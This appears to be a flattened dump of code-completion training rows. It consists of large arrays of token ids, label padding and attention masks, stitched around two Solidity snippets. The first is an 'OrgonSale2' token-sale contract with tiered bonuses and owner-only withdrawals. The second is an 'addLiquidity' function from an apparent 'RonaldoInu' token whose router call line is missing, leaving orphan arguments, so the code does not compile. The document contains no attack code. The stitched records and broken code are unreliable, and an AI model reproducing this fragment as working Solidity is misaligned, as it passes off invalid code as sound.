-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/* Orgon.Sale2 */
pragma solidity ^0.4.21; //v8
library SafeMath {
/**
* Add two uint256 values, throw in case of overflow.
* @param x first value to add
* @param y second value to add
* @return x + y
*/
function add (uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x + y;
require(z >= x);
return z;
}
/**
* Subtract one uint256 value from another, throw in case of underflow.
* @param x value to subtract from
* @param y value to subtract
* @return x - y
*/
function sub (uint256 x, uint256 y) internal pure returns (uint256 z) {
require (x >= y);
z = x - y;
return z;
}
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) return 0;
c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
c = a / b;
return c;
}
}
contract OrgonToken {
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply () public view returns (uint256 supply);
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf (address _owner) public view returns (uint256 balance);
function theOwner () public view returns (address);
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer (address _to, uint256 _value)
public returns (bool success);
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom (address _from, address _to, uint256 _value)
public returns (bool success);
/**
* Allow given spender to transfer given number of tokens from message sender.
*
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
public returns (bool success);
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance (address _owner, address _spender)
public view returns (uint256 remaining);
/* Owner of the smart contract */
//address public owner;
/**
* Logged when tokens were transferred from one owner to another.
*
* @param _from address of the owner, tokens were transferred from
* @param _to address of the owner, tokens were transferred to
* @param _value number of tokens transferred
*/
event Transfer (address indexed _from, address indexed _to, uint256 _value);
/**
* Logged when owner approved his tokens to be transferred by some spender.
*
* @param _owner owner who approved his tokens to be transferred
* @param _spender spender who were allowed to transfer the tokens belonging
* to the owner
* @param _value number of tokens belonging to the owner, approved to be
* transferred by the spender
*/
event Approval (
address indexed _owner, address indexed _spender, uint256 _value);
}
contract OrgonSale2 {
using SafeMath for uint256;
/* Start OrgonMarket */
function OrgonSale2 (OrgonToken _orgonToken) public {
orgonToken = _orgonToken;
owner = msg.sender;
}
/* Recive ETH */
function () public payable {
require (msg.data.length == 0);
buyTokens ();
}
function buyTokens () public payable returns (bool success){
require (msg.value > 0);
uint256 currentMarket;
currentMarket = orgonToken.balanceOf (address(this));
if (currentMarket == 0) revert ();
require (orgonToken.transfer (msg.sender, countTokens(msg.value)));
return true;
}
function countTokens (uint256 _value) public view returns (uint256 _tokens){
uint256 toBuy;
if (_value < weiBound1) {
toBuy = _value.mul(tokensPerWei);
_tokens = toBuy;
}
else if (_value < weiBound2) {
toBuy = _value.mul(tokensPerWei);
_tokens = toBuy.mul(orgonBonus1);
_tokens = _tokens.div(100);
}
else if (_value < weiBound3) {
toBuy = _value.mul(tokensPerWei);
_tokens = toBuy.mul(orgonBonus2);
_tokens = _tokens.div(100);
}
else if (_value < weiBound4) {
toBuy = _value.mul(tokensPerWei);
_tokens = toBuy.mul(orgonBonus3);
_tokens = _tokens.div(100);
}
else if (_value < weiBound5) {
toBuy = _value.mul(tokensPerWei);
_tokens = toBuy.mul(orgonBonus4);
_tokens = _tokens.div(100);
}
else if (_value < weiBound6) {
toBuy = _value.mul(tokensPerWei);
_tokens = toBuy.mul(orgonBonus5);
_tokens = _tokens.div(100);
}
else {
toBuy = _value.mul(tokensPerWei);
_tokens = toBuy.mul(orgonBonus6);
_tokens = _tokens.div(100);
}
return (_tokens);
}
function countTokensE18 (uint256 _value) public view returns (uint256 _tokens){
return countTokens(_value.mul(10**18))/(10**18);
}
function sendTokens (address _to, uint256 _amount) public returns (bool success){
require (msg.sender == owner);
require (_to != address(this));
require (_amount > 0);
require (orgonToken.transfer (_to, _amount));
return true;
}
function sendETH (address _to, uint256 _amount) public returns (bool success){
require (msg.sender == owner);
require (_to != address(this));
require (_amount > 0);
_to.transfer (_amount);
return true;
}
function setPriceAndBonus(uint256 _newTokensPerWei, uint256 _newWeiBound1, uint256 _newOrgonBonus1, uint256 _newWeiBound2, uint256 _newOrgonBonus2, uint256 _newWeiBound3, uint256 _newOrgonBonus3, uint256 _newWeiBound4, uint256 _newOrgonBonus4, uint256 _newWeiBound5, uint256 _newOrgonBonus5, uint256 _newWeiBound6, uint256 _newOrgonBonus6 ) public {
require (msg.sender == owner);
require (_newTokensPerWei > 0);
require (_newWeiBound1 < _newWeiBound2 && _newWeiBound2 < _newWeiBound3 &&_newWeiBound3 < _newWeiBound4 &&_newWeiBound4 < _newWeiBound5 &&_newWeiBound5 < _newWeiBound6);
tokensPerWei = _newTokensPerWei;
weiBound1 = _newWeiBound1;
weiBound2 = _newWeiBound2;
weiBound3 = _newWeiBound3;
weiBound4 = _newWeiBound4;
weiBound5 = _newWeiBound5;
weiBound6 = _newWeiBound6;
orgonBonus1 = _newOrgonBonus1;
orgonBonus2 = _newOrgonBonus2;
orgonBonus3 = _newOrgonBonus3;
orgonBonus4 = _newOrgonBonus4;
orgonBonus5 = _newOrgonBonus5;
orgonBonus6 = _newOrgonBonus6;
}
function setPriceAndBonusETH(uint256 _tokensPerWei, uint256 _newEthBound1, uint256 _newOrgonBonus1, uint256 _newEthBound2, uint256 _newOrgonBonus2, uint256 _newEthBound3, uint256 _newOrgonBonus3, uint256 _newEthBound4, uint256 _newOrgonBonus4, uint256 _newEthBound5, uint256 _newOrgonBonus5, uint256 _newEthBound6, uint256 _newOrgonBonus6 ) public {
require (msg.sender == owner);
require (_tokensPerWei > 0);
require (_newEthBound1 < _newEthBound2 && _newEthBound2 < _newEthBound3 &&_newEthBound3 < _newEthBound4 &&_newEthBound4 < _newEthBound5 &&_newEthBound5 < _newEthBound6);
tokensPerWei = _tokensPerWei;
weiBound1 = _newEthBound1.mul(1000000000000000000);
weiBound2 = _newEthBound2.mul(1000000000000000000);
weiBound3 = _newEthBound3.mul(1000000000000000000);
weiBound4 = _newEthBound4.mul(1000000000000000000);
weiBound5 = _newEthBound5.mul(1000000000000000000);
weiBound6 = _newEthBound6.mul(1000000000000000000);
orgonBonus1 = _newOrgonBonus1;
orgonBonus2 = _newOrgonBonus2;
orgonBonus3 = _newOrgonBonus3;
orgonBonus4 = _newOrgonBonus4;
orgonBonus5 = _newOrgonBonus5;
orgonBonus6 = _newOrgonBonus6;
}
function setPriceAndBonusFinney(uint256 _newTokensPerWei, uint256 _newFinneyBound1, uint256 _newOrgonBonus1, uint256 _newFinneyBound2, uint256 _newOrgonBonus2, uint256 _newFinneyBound3, uint256 _newOrgonBonus3, uint256 _newFinneyBound4, uint256 _newOrgonBonus4, uint256 _newFinneyBound5, uint256 _newOrgonBonus5, uint256 _newFinneyBound6, uint256 _newOrgonBonus6 ) public {
require (msg.sender == owner);
require (_newTokensPerWei > 0);
require (_newFinneyBound1 < _newFinneyBound2 && _newFinneyBound2 < _newFinneyBound3 &&_newFinneyBound3 < _newFinneyBound4 &&_newFinneyBound4 < _newFinneyBound5 &&_newFinneyBound5 < _newFinneyBound6);
tokensPerWei = _newTokensPerWei;
weiBound1 = _newFinneyBound1.mul(1000000000000000);
weiBound2 = _newFinneyBound2.mul(1000000000000000);
weiBound3 = _newFinneyBound3.mul(1000000000000000);
weiBound4 = _newFinneyBound4.mul(1000000000000000);
weiBound5 = _newFinneyBound5.mul(1000000000000000);
weiBound6 = _newFinneyBound6.mul(1000000000000000);
orgonBonus1 = _newOrgonBonus1;
orgonBonus2 = _newOrgonBonus2;
orgonBonus3 = _newOrgonBonus3;
orgonBonus4 = _newOrgonBonus4;
orgonBonus5 = _newOrgonBonus5;
orgonBonus6 = _newOrgonBonus6;
}
/** Set new owner for the smart contract.
* May only be called by smart contract owner.
* @param _newOwner address of new owner of the smart contract
**/
function setOwner (address _newOwner) public {
require (msg.sender == owner);
require (_newOwner != address(this));
require (_newOwner != address(0x0));
owner = _newOwner;
}
/* *********************************************** */
function getCurrentMarket() view public returns (uint256){ return orgonToken.balanceOf(address(this)); }
function getCurrentMarketE18() view public returns (uint256, uint256){
uint256 bal;
bal = orgonToken.balanceOf(address(this));
return (bal/1000000000000000000, bal%1000000000000000000);
}
function getTotalSupply() view public returns (uint256){ return orgonToken.totalSupply(); }
function getTotalSupplyE18() view public returns (uint256){
return orgonToken.totalSupply()/1000000000000000000;
}
function getETHbalance() view public returns (uint256, uint256) {
uint256 bal;
bal = address(this).balance;
return (bal/1000000000000000000,bal%1000000000000000000);
}
function getTokensPerETH() view public returns (uint256){ return tokensPerWei; }
function theOwner() view public returns (address _owner){ return owner; }
function getEthBonus() view public returns (uint256 eth_1Bound, uint256 Bonus1,
uint256 eth_2Bound, uint256 Bonus2,
uint256 eth_3Bound, uint256 Bonus3,
uint256 eth_4Bound, uint256 Bonus4,
uint256 eth_5Bound, uint256 Bonus5,
uint256 eth_6Bound, uint256 Bonus6) {
eth_1Bound = weiBound1.div(1000000000000000000);
eth_2Bound = weiBound2.div(1000000000000000000);
eth_3Bound = weiBound3.div(1000000000000000000);
eth_4Bound = weiBound4.div(1000000000000000000);
eth_5Bound = weiBound5.div(1000000000000000000);
eth_6Bound = weiBound6.div(1000000000000000000);
return (eth_1Bound, orgonBonus1, eth_2Bound, orgonBonus2, eth_3Bound, orgonBonus3,
eth_4Bound, orgonBonus4, eth_5Bound, orgonBonus5, eth_6Bound, orgonBonus6);
}
function getFinneyBonus() view public returns (uint256 finney_1Bound, uint256 Bonus1,
uint256 finney_2Bound, uint256 Bonus2,
uint256 finney_3Bound, uint256 Bonus3,
uint256 finney_4Bound, uint256 Bonus4,
uint256 finney_5Bound, uint256 Bonus5,
uint256 finney_6Bound, uint256 Bonus6) {
finney_1Bound = weiBound1.div(1000000000000000);
finney_2Bound = weiBound2.div(1000000000000000);
finney_3Bound = weiBound3.div(1000000000000000);
finney_4Bound = weiBound4.div(1000000000000000);
finney_5Bound = weiBound5.div(1000000000000000);
finney_6Bound = weiBound6.div(1000000000000000);
return (finney_1Bound, orgonBonus1, finney_2Bound, orgonBonus2, finney_3Bound, orgonBonus3,
finney_4Bound, orgonBonus4, finney_5Bound, orgonBonus5, finney_6Bound, orgonBonus6);
}
function getWeiBonus() view public returns (uint256 wei_1Bound, uint256 Bonus1,
uint256 wei_2Bound, uint256 Bonus2,
uint256 wei_3Bound, uint256 Bonus3,
uint256 wei_4Bound, uint256 Bonus4,
uint256 wei_5Bound, uint256 Bonus5,
uint256 wei_6Bound, uint256 Bonus6) {
return (weiBound1, orgonBonus1, weiBound2, orgonBonus2, weiBound3, orgonBonus3,
weiBound4, orgonBonus4, weiBound5, orgonBonus5, weiBound6, orgonBonus6);
}
uint256 private tokensPerWei;
uint256 private orgonBonus1;
uint256 private orgonBonus2;
uint256 private orgonBonus3;
uint256 private orgonBonus4;
uint256 private orgonBonus5;
uint256 private orgonBonus6;
uint256 private weiBound1;
uint256 private weiBound2;
uint256 private weiBound3;
uint256 private weiBound4;
uint256 private weiBound5;
uint256 private weiBound6;
/** Owner of the smart contract */
address private owner;
/**
* Orgon Token smart contract.
*/
OrgonToken private orgonToken;
}
|
* Orgon Token smart contract./
|
OrgonToken private orgonToken;
| 6,403,293 |
[
1,
4625,
348,
7953,
560,
30,
380,
8533,
265,
3155,
13706,
6835,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
8533,
265,
1345,
3238,
2358,
265,
1345,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xBba1Acf75e69898Deb876e193A8069F8795a977C/sources/RonaldoInu.sol
|
approve token transfer to cover all possible scenarios add the liquidity
|
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
address(this),
tokenAmount,
marketingWallet1,
block.timestamp
);
}
| 4,416,288 |
[
1,
4625,
348,
7953,
560,
30,
225,
6617,
537,
1147,
7412,
358,
5590,
777,
3323,
22456,
527,
326,
4501,
372,
24237,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
